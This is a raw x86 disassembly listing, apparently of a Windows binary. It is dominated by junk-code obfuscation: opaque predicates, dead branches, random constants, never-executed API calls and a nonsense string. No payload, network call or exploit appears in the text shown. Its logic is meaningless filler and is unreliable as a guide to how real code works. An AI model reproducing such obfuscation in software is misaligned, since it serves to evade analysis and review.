jl 0x46d39a
mov eax, 0xb656
test eax, eax
je 0x46d39a
mov dword [ebp - 0x960], 1
jmp 0x46d3a1
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1300]
cmp eax, dword [ebp - 0x960]
jl 0x46d3bf
mov dword [ebp - 0x1118], 1
jmp 0x46d3c6
and dword [ebp - 0x1118], 0
mov eax, dword [ebp - 0x15b4]
cmp dword [ebp - 0x1118], eax
jge 0x46d3e9
cmp dword [ebp - 0x718], 0
je 0x46d3e9
mov dword [ebp - 0x15bc], 1
jmp 0x46d3f0
and dword [ebp - 0x15bc], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1300]
mov dword [ebp - 0x1bec], eax
imul eax, dword [ebp - 0x660], 0xffff
test eax, eax
jne 0x46d41e
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x46d41e
and dword [ebp - 0x968], 0
jmp 0x46d428
mov dword [ebp - 0x968], 1
cmp dword [ebp - 0x968], 0
jne 0x46d43d
mov dword [ebp - 0x1120], 1
jmp 0x46d444
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x718]
imul eax, dword [ebp - 0x1120]
cmp eax, dword [ebp - 0x660]
jg 0x46d465
mov dword [ebp - 0x970], 1
jmp 0x46d46c
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x970], eax
jg 0x46d483
mov dword [ebp - 0x1128], 1
jmp 0x46d48a
and dword [ebp - 0x1128], 0
mov eax, dword [ebp - 0x1128]
add eax, 0xa3d5
cmp eax, dword [ebp - 0x718]
je 0x46d4af
mov eax, 0x11e745c5
test eax, eax
jne 0x46d4af
and dword [ebp - 0x978], 0
jmp 0x46d4b9
mov dword [ebp - 0x978], 1
mov eax, dword [ebp - 0x978]
sub eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
jne 0x46d4d9
cmp dword [ebp - 0x668], 0
jne 0x46d4d9
and dword [ebp - 0x6fc], 0
jmp 0x46d4e3
mov dword [ebp - 0x6fc], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp + eax - 0x670], ecx
cmp dword [ebp - 0x6fc], 0
je 0x46d51b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x670], 0
je 0x46d51b
mov dword [ebp - 0x1130], 1
jmp 0x46d522
and dword [ebp - 0x1130], 0
cmp dword [ebp - 0x1130], 0
jae 0x46d537
mov dword [ebp - 0x980], 1
jmp 0x46d53e
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x15c4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x670], 0
je 0x46d55f
jmp 0x46d1c2
jmp 0x46d1c2
jmp 0x46d179
push 2
lea ecx, [ebp - 0x1458]
call fcn.00430760
mov dword [ebp - 0x258], 8
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x594], 0
jmp 0x46d5a3
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 2
jge 0x46d5bf
mov eax, dword [ebp - 0x594]
mov dword [ebp + eax*4 - 0x1f80], 0x7941ce3c
jmp 0x46d596
mov byte [ebp - 0x233], 0
movzx eax, byte [ebp - 0x233]
test eax, eax
je 0x46d5d9
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x258], eax
jne 0x46d5f3
mov dword [ebp - 0x988], 1
jmp 0x46d5fa
and dword [ebp - 0x988], 0
cmp dword [ebp - 0x258], 0
je 0x46d64d
mov eax, dword [ebp - 0x760]
imul eax, dword [ebp - 0x258]
test eax, eax
jne 0x46d626
mov eax, 0x2aee5a98
test eax, eax
jne 0x46d626
and dword [ebp - 0x1138], 0
jmp 0x46d630
mov dword [ebp - 0x1138], 1
mov eax, dword [ebp - 0x1138]
sub eax, 3
sub eax, dword [ebp - 0x760]
je 0x46d64d
mov dword [ebp - 0x1140], 1
jmp 0x46d654
and dword [ebp - 0x1140], 0
mov eax, dword [ebp - 0x988]
imul eax, dword [ebp - 0x1140]
cmp eax, 1
je 0x46d672
mov dword [ebp - 0x990], 1
jmp 0x46d679
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x990], eax
jl 0x46d693
mov dword [ebp - 0x1148], 1
jmp 0x46d69a
and dword [ebp - 0x1148], 0
cmp dword [ebp - 0x1148], 0x2b5725d3
jne 0x46d6b2
mov dword [ebp - 0x998], 1
jmp 0x46d6b9
and dword [ebp - 0x998], 0
cmp dword [ebp - 0x998], 0xfffffffe
jle 0x46d6d7
cmp dword [ebp - 0x258], 0
je 0x46d6d7
mov dword [ebp - 0x1150], 1
jmp 0x46d6de
and dword [ebp - 0x1150], 0
mov eax, dword [ebp - 0x1150]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x2f4], 0x7e2799ac
mov dword [ebp - 0x2f4], 0x12
jmp 0x46d717
mov eax, dword [ebp - 0x2f4]
dec eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0xb
jge 0x46d74c
mov byte [ebp - 0x172], 0
movzx eax, byte [ebp - 0x172]
test eax, eax
je 0x46d73f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
cmp dword [ebp - 0x2f4], 0
je 0x46d74a
jmp 0x46d70a
jmp 0x46d70a
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x424], 0xe
jmp 0x46d76f
mov eax, dword [ebp - 0x424]
dec eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffe8
jle 0x46d845
push 2
lea ecx, [ebp - 0x175c]
call fcn.00430760
mov dword [ebp - 0x104], 0
jmp 0x46d7a2
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jge 0x46d7be
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x15cc], 6
jmp 0x46d795
mov dword [ebp - 0x104], 0
jmp 0x46d7d7
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 2
jge 0x46d7f9
push dword [ebp - 0x104]
lea ecx, [ebp - 0x175c]
call fcn.0043084e
mov dword [eax], 0xfa5c62e0
jmp 0x46d7ca
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x15cc]
push 1
lea ecx, [ebp - 0x175c]
call fcn.0043084e
mov dword [eax], esi
push 1
lea ecx, [ebp - 0x175c]
call fcn.0043084e
mov esi, eax
push 1
lea ecx, [ebp - 0x175c]
call fcn.0043084e
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0x175c]
call fcn.00430832
jmp 0x46d762
mov dword [ebp - 0x51c], 0
jmp 0x46d85e
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 2
jge 0x46d880
push dword [ebp - 0x51c]
lea ecx, [ebp - 0x1458]
call fcn.0043084e
mov dword [eax], 0xfffffff7
jmp 0x46d851
mov dword [ebp - 0x290], 1
jmp 0x46d899
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jl 0x46ff51
mov dword [ebp - 0x350], 0x8d19c921
mov dword [ebp - 0x42c], 0
jmp 0x46d8c9
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 2
jge 0x46d8e5
mov eax, dword [ebp - 0x42c]
mov dword [ebp + eax*4 - 0x1240], 4
jmp 0x46d8bc
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1240]
cmp dword [ebp + eax - 0x1240], ecx
je 0x46d90d
mov dword [ebp - 0x1158], 1
jmp 0x46d914
and dword [ebp - 0x1158], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1240], 0
je 0x46d975
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1240], 0
je 0x46d950
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1240], 0
je 0x46d950
mov dword [ebp - 0x9a0], 1
jmp 0x46d957
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x9a0]
add eax, 0x97e7
cmp eax, 0x2fafd11d
jl 0x46d975
mov dword [ebp - 0x9a8], 1
jmp 0x46d97c
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x1158]
imul eax, dword [ebp - 0x9a8]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x350], 0
jmp 0x46d9a8
mov eax, dword [ebp - 0x350]
dec eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0xffffffef
je 0x46d9f7
mov dword [ebp - 0x15d4], 0xffff
mov byte [ebp - 0x219], 0
movzx eax, byte [ebp - 0x219]
test eax, eax
je 0x46d9ea
push 0
push 0x3f
push 0x72f
push 0
push 0x658
push 0x254c
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp dword [ebp - 0x15d4], 0
je 0x46d9f5
jmp 0x46d99b
jmp 0x46d99b
mov dword [ebp - 0x94], 0xfffffffa
mov dword [ebp - 0x434], 0xffffffff
mov dword [ebp - 0x5d4], 0x8c9dffbe
mov dword [ebp - 0x9c0], 0xfffffff9
mov dword [ebp - 0x15e4], 0xffffffff
mov byte [ebp - 0x174], 0
movzx eax, byte [ebp - 0x174]
test eax, eax
je 0x46da53
push 0xfbc
push 0
push 0
push 0
push 0x8e8
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
jle 0x46da6d
mov dword [ebp - 0x9b0], 1
jmp 0x46da74
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1d9c], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1bf4], eax
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
jge 0x46daaf
cmp dword [ebp - 0x94], 0
je 0x46daaf
mov dword [ebp - 0x1160], 1
jmp 0x46dab6
and dword [ebp - 0x1160], 0
mov eax, dword [ebp - 0x1160]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x1ec0], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1bfc], eax
cmp dword [ebp - 0x5d4], 0
jne 0x46daf6
cmp dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x9b0], eax
jne 0x46db10
mov dword [ebp - 0x1168], 1
jmp 0x46db17
and dword [ebp - 0x1168], 0
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x1168]
jle 0x46db31
mov dword [ebp - 0x9b8], 1
jmp 0x46db38
and dword [ebp - 0x9b8], 0
cmp dword [ebp - 0x9b8], 0xfffffffb
je 0x46db4d
mov dword [ebp - 0x1170], 1
jmp 0x46db54
and dword [ebp - 0x1170], 0
imul eax, dword [ebp - 0x1170], 0
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x9c0]
add eax, dword [ebp - 0x94]
add eax, dword [ebp - 0x94]
jne 0x46db85
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x46db85
and dword [ebp - 0x15dc], 0
jmp 0x46db8f
mov dword [ebp - 0x15dc], 1
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x15e4], eax
push 2
lea ecx, [ebp - 0x1440]
call fcn.00430760
mov dword [ebp - 0x524], 0
jmp 0x46dbc1
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 2
jge 0x46dbe3
push dword [ebp - 0x524]
lea ecx, [ebp - 0x1440]
call fcn.0043084e
mov dword [eax], 0x13dd33a4
jmp 0x46dbb4
push 1
lea ecx, [ebp - 0x1440]
call fcn.0043084e
and dword [eax], 0
jmp 0x46dc19
push 1
lea ecx, [ebp - 0x1440]
call fcn.0043084e
mov dword [ebp - 0x1178], eax
mov eax, dword [ebp - 0x1178]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1178]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1440]
call fcn.0043084e
cmp dword [eax], 0xffffffe5
jle 0x46dcef
push 1
lea ecx, [ebp - 0x1ac8]
call fcn.00430760
mov dword [ebp - 0x59c], 0xfffffffd
mov dword [ebp - 0x43c], 0
jmp 0x46dc5f
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 1
jge 0x46dc81
push dword [ebp - 0x43c]
lea ecx, [ebp - 0x1ac8]
call fcn.0043084e
mov dword [eax], 0xa888adae
jmp 0x46dc52
mov dword [ebp - 0x59c], 0
jmp 0x46dc9a
mov eax, dword [ebp - 0x59c]
inc eax
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 0
jg 0x46dcbd
mov byte [ebp - 0x235], 0
movzx eax, byte [ebp - 0x235]
test eax, eax
je 0x46dcbb
call dword [sym.imp.USER32.dll_CreatePopupMenu]
jmp 0x46dc8d
push 1
lea ecx, [ebp - 0x1440]
call fcn.0043084e
cmp dword [eax], 0
je 0x46dcdf
lea ecx, [ebp - 0x1ac8]
call fcn.00430832
jmp 0x46dbf5
lea ecx, [ebp - 0x1ac8]
call fcn.00430832
jmp 0x46dbf5
lea ecx, [ebp - 0x1440]
call fcn.00430832
mov dword [ebp - 0xdc], 0
jmp 0x46dd13
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jge 0x46dd2f
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x390], 0
jmp 0x46dd06
mov dword [ebp - 0xdc], 0
jmp 0x46dd48
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jge 0x46dd64
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x1db8], 0
jmp 0x46dd3b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x390], 1
jmp 0x46dd92
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x390], 0
jl 0x46ff4c
mov dword [ebp - 0x1190], 0xffffffff
mov dword [ebp - 0x78], 0x69ad59e5
mov dword [ebp - 0x678], 0x173948b0
mov dword [ebp - 0x9d0], 1
mov dword [ebp - 0x11c], 0
jmp 0x46dde4
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
jge 0x46de00
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x1310], 0
jmp 0x46ddd7
mov dword [ebp - 0x11c], 0
jmp 0x46de19
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
jge 0x46de35
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x176c], 0xc93e
jmp 0x46de0c
mov eax, dword [ebp - 0x678]
dec eax
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x78], 2
jmp 0x46de52
cmp dword [ebp - 0x78], 0
jl 0x46e3e1
mov dword [ebp - 0x704], 0xfffffff9
mov dword [ebp - 0x52c], 0xffffffff
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0x1310], 0
je 0x46de82
jmp 0x46e3e1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1310], 0
je 0x46dea7
mov eax, 0xa6d
test eax, eax
je 0x46dea7
mov dword [ebp - 0x9c8], 1
jmp 0x46deae
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x1190]
imul eax, dword [ebp - 0x9c8]
cmp dword [ebp - 0x78], eax
jl 0x46decc
mov dword [ebp - 0x15ec], 1
jmp 0x46ded3
and dword [ebp - 0x15ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1310]
mov dword [ebp - 0x1da4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp + eax - 0x1310]
mov dword [ebp + ecx*4 - 0x1310], eax
mov eax, 0xaf9d
test eax, eax
je 0x46df17
xor eax, eax
inc eax
je 0x46df17
mov dword [ebp - 0x1180], 1
jmp 0x46df1e
and dword [ebp - 0x1180], 0
push 7
pop eax
sub eax, dword [ebp - 0x1180]
mov dword [ebp - 0x9d0], eax
mov eax, dword [ebp - 0x678]
cmp dword [ebp - 0x9d0], eax
jl 0x46df47
mov dword [ebp - 0x1188], 1
jmp 0x46df4e
and dword [ebp - 0x1188], 0
cmp dword [ebp - 0x1188], 0x68729207
jne 0x46df70
mov dword [ebp - 0x11e0], 0xb14f4e79
mov dword [ebp - 0x534], 0
jmp 0x46e404
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 1
jge 0x46e420
mov eax, dword [ebp - 0x534]
mov dword [ebp + eax*4 - 0x45c], 6
jmp 0x46e3f7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x45c], 0xfffffffe
jmp 0x46e44e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x45c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x45c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x45c], 0xfffffff9
je 0x46e477
mov dword [ebp - 0xa28], 0x77dd6887
mov eax, dword [ebp - 0xa28]
inc eax
mov dword [ebp - 0xa28], eax
jmp 0x46e433
mov eax, dword [ebp - 0x11e0]
inc eax
mov dword [ebp - 0x11e0], eax
mov byte [ebp - 0x237], 0
movzx eax, byte [ebp - 0x237]
test eax, eax
je 0x46e5a9
mov dword [ebp - 0x464], 0xb546158d
mov dword [ebp - 0x15fc], 0
mov dword [ebp - 0x1e38], 0x7e780ca9
mov dword [ebp - 0x5a4], 0
jmp 0x46e4d1
mov dword [ebp - 0x260], 0xd23b6182
mov dword [ebp - 0xa5c], 0xf76ec751
mov dword [ebp - 0xeb4], 0x2906c902
mov dword [ebp - 0x680], 0xfffffff7
push 2
lea ecx, [ebp - 0x1428]
call fcn.00430760
mov dword [ebp - 0xa48], 0xffffffff
mov dword [ebp - 0x19dc], 0xfffffffd
mov dword [ebp - 0x19d8], 0xfffffffd
mov dword [ebp - 0x19d4], 0xfffffffd
mov dword [ebp - 0x19d0], 0xfffffffd
lea ecx, [ebp - 0x6eb]
call fcn.0043085d
push eax
lea eax, [ebp - 0x19cc]
push eax
lea eax, [ebp - 0x19dc]
push eax
lea ecx, [ebp - 0x1fa8]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1c94]
call fcn.0043080c
mov dword [ebp - 0xac0], 0x628eaf60
mov dword [ebp - 0xab0], 0x65ab4d25
mov dword [ebp - 0x160c], 0xf93be41b
mov dword [ebp - 0x53c], 0
jmp 0x46e67c
jmp 0x46d88c
lea ecx, [ebp - 0x1458]
call fcn.00430832
mov dword [ebp - 0x4b4], 0xe1757117
mov dword [ebp - 0x1a2c], 2
mov dword [ebp - 0x1a28], 2
mov dword [ebp - 0x1a24], 2
mov dword [ebp - 0x1a20], 2
lea ecx, [ebp - 0x72d]
call fcn.0043085d
push eax
lea eax, [ebp - 0x1a1c]
push eax
lea eax, [ebp - 0x1a2c]
push eax
lea ecx, [ebp - 0x1f68]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f50]
call fcn.0043080c
push 1
lea ecx, [ebp - 0x1cc4]
call fcn.00430760
mov dword [ebp - 0x5e4], 0
jmp 0x46ffe9
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 1
jge 0x47000b
push dword [ebp - 0x5e4]
lea ecx, [ebp - 0x1cc4]
call fcn.0043084e
mov dword [eax], 0x1208373b
jmp 0x46ffdc
mov dword [ebp - 0x4b4], 0
jmp 0x470024
mov eax, dword [ebp - 0x4b4]
dec eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0xffffffe8
jge 0x4701e2
mov dword [ebp - 0x564], 0xd4351cdc
mov dword [ebp - 0x1c70], 0xe9c96c79
mov dword [ebp - 0x1df0], 3
push 3
lea ecx, [ebp - 0x1cb4]
call fcn.00430760
mov dword [ebp - 0x1c78], 0xfc0549ec
mov dword [ebp - 0x1eb0], 0xbb489f7a
push 2
lea ecx, [ebp - 0x1ca4]
call fcn.00430760
mov dword [ebp - 0xf34], 0xffffffff
mov dword [ebp - 0x54], 0
jmp 0x470097
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x4700b3
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1cb4]
call fcn.0043084e
mov dword [eax], 0xa2b441a6
jmp 0x470090
mov dword [ebp - 0x54], 0
jmp 0x4700c3
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x4700df
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1ca4]
call fcn.0043084e
mov dword [eax], 0xfffffff6
jmp 0x4700bc
mov dword [ebp - 0x54], 0
jmp 0x4700ef
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x470105
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x1f78], 0x63530054
jmp 0x4700e8
mov dword [ebp - 0x564], 0
jmp 0x47011e
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 3
jg 0x4701ba
mov dword [ebp - 0x1814], 0x9b7928fb
mov dword [ebp - 0x1810], 0x9b7928fb
mov dword [ebp - 0x180c], 0x9b7928fb
mov dword [ebp - 0x1808], 0x9b7928fb
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x1814], 3
jmp 0x47017e
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1814]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1814], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1814], 0
jl 0x4701b5
mov byte [ebp - 0x180], 0
movzx eax, byte [ebp - 0x180]
test eax, eax
je 0x4701b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x470165
jmp 0x470111
mov eax, dword [ebp - 0xf34]
dec eax
mov dword [ebp - 0xf34], eax
lea ecx, [ebp - 0x1ca4]
call fcn.00430832
lea ecx, [ebp - 0x1cb4]
call fcn.00430832
jmp 0x470017
lea ecx, [ebp - 0x1cc4]
call fcn.00430832
lea ecx, [ebp - 0x1f50]
call fcn.00430832
mov dword [ebp - 0x17c0], str.hquqzaqcr_kskdif_cot_fbvwav_zdexm_rqokagbd_uqokpxemo_otuiw_owiuz_lwbhpswz_hintvh
mov dword [ebp - 0x5bc], 0x9fdf99ff
push 2
lea ecx, [ebp - 0x1af8]
call fcn.00430760
mov dword [ebp - 0x4bc], 0
jmp 0x470232
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 2
jge 0x470254
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x1af8]
call fcn.0043084e
mov dword [eax], 0xbacd
jmp 0x470225
mov dword [ebp - 0x5bc], 0
jmp 0x47026d
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 0x1a
jne 0x470308
mov dword [ebp - 0x1c8], 0x6a485bf2
mov dword [ebp - 0x1c8], 0
jmp 0x47029d
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 1
jg 0x4702f5
mov dword [ebp - 0x16bc], 0x7e67329
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1af8]
call fcn.0043084e
cmp dword [eax], 0
je 0x4702c8
jmp 0x4702f5
cmp dword [ebp - 0x1c8], 0xfffc
je 0x4702e0
mov dword [ebp - 0xb64], 1
jmp 0x4702e7
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0x16bc], eax
jmp 0x470290
cmp dword [ebp - 0x1c8], 0
je 0x470303
jmp 0x470260
jmp 0x470260
lea ecx, [ebp - 0x1af8]
call fcn.00430832
mov dword [ebp - 0x90], 0xfffffffa
mov dword [ebp - 0x56c], 0xffffffff
mov dword [ebp - 0x4c4], 0x8c9dffbe
mov dword [ebp - 0xb7c], 0xfffffff9
mov dword [ebp - 0x1714], 0xffffffff
mov byte [ebp - 0x191], 0
movzx eax, byte [ebp - 0x191]
test eax, eax
je 0x47036f
push 0xfbc
push 0
push 0
push 0
push 0x8e8
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x90], eax
jle 0x470389
mov dword [ebp - 0xb6c], 1
jmp 0x470390
and dword [ebp - 0xb6c], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1c80], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1df8], eax
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x90], eax
jge 0x4703cb
cmp dword [ebp - 0x90], 0
je 0x4703cb
mov dword [ebp - 0x1214], 1
jmp 0x4703d2
and dword [ebp - 0x1214], 0
mov eax, dword [ebp - 0x1214]
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x4c4], eax
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x1c88], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1e70], eax
cmp dword [ebp - 0x4c4], 0
jne 0x470412
cmp dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x56c]
cmp dword [ebp - 0xb6c], eax
jne 0x47042c
mov dword [ebp - 0xf3c], 1
jmp 0x470433
and dword [ebp - 0xf3c], 0
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0xf3c]
jle 0x47044d
mov dword [ebp - 0xb74], 1
jmp 0x470454
and dword [ebp - 0xb74], 0
cmp dword [ebp - 0xb74], 0xfffffffb
je 0x470469
mov dword [ebp - 0x1124], 1
jmp 0x470470
and dword [ebp - 0x1124], 0
imul eax, dword [ebp - 0x1124], 0
mov dword [ebp - 0xb7c], eax
mov eax, dword [ebp - 0xb7c]
add eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x90]
jne 0x4704a1
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x4704a1
and dword [ebp - 0x170c], 0
jmp 0x4704ab
mov dword [ebp - 0x170c], 1
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x1714], eax
mov dword [ebp - 0x2d8], 0xac8b13ec
mov dword [ebp - 0x408], 0x76e5b14f
and dword [ebp - 0x1978], 0
and dword [ebp - 0x1974], 0
and dword [ebp - 0x1970], 0
and dword [ebp - 0x196c], 0
lea ecx, [ebp - 0x741]
call fcn.0043085d
push eax
lea eax, [ebp - 0x1968]
push eax
lea eax, [ebp - 0x1978]
push eax
lea ecx, [ebp - 0x1f88]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1320]
call fcn.0043080c
push 3
lea ecx, [ebp - 0x1850]
call fcn.00430760
mov dword [ebp - 0x1724], 0xffffffff
mov dword [ebp - 0x4cc], 0
jmp 0x47054c
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 3
jge 0x47056e
push dword [ebp - 0x4cc]
lea ecx, [ebp - 0x1850]
call fcn.0043084e
mov dword [eax], 3
jmp 0x47053f
push 1
lea ecx, [ebp - 0x1320]
call fcn.0043084e
and dword [eax], 0
jmp 0x4705a4
push 1
lea ecx, [ebp - 0x1320]
call fcn.0043084e
mov dword [ebp - 0xf44], eax
mov eax, dword [ebp - 0xf44]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xf44]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1320]
call fcn.0043084e
cmp dword [eax], 0xfffffff7
jle 0x4706d0
mov dword [ebp - 0xf4c], 0x27359b50
mov dword [ebp - 0x171c], 0x651162f6
push 2
lea ecx, [ebp - 0x1320]
call fcn.0043084e
push 2
lea ecx, [ebp - 0x1320]
call fcn.0043084e
cmp dword [eax], 0x3467
jne 0x4705fc
mov dword [ebp - 0xb84], 1
jmp 0x470603
and dword [ebp - 0xb84], 0
push 0
lea ecx, [ebp - 0x1320]
call fcn.0043084e
imul eax, dword [eax], 0xdc3423cc
cmp eax, 0x860a421e
jae 0x470629
mov dword [ebp - 0x12dc], 1
jmp 0x470630
and dword [ebp - 0x12dc], 0
mov eax, dword [ebp - 0xb84]
cmp eax, dword [ebp - 0x12dc]
jne 0x47064a
mov dword [ebp - 0x71c], 1
jmp 0x470651
and dword [ebp - 0x71c], 0
push 0
lea ecx, [ebp - 0x1850]
call fcn.0043084e
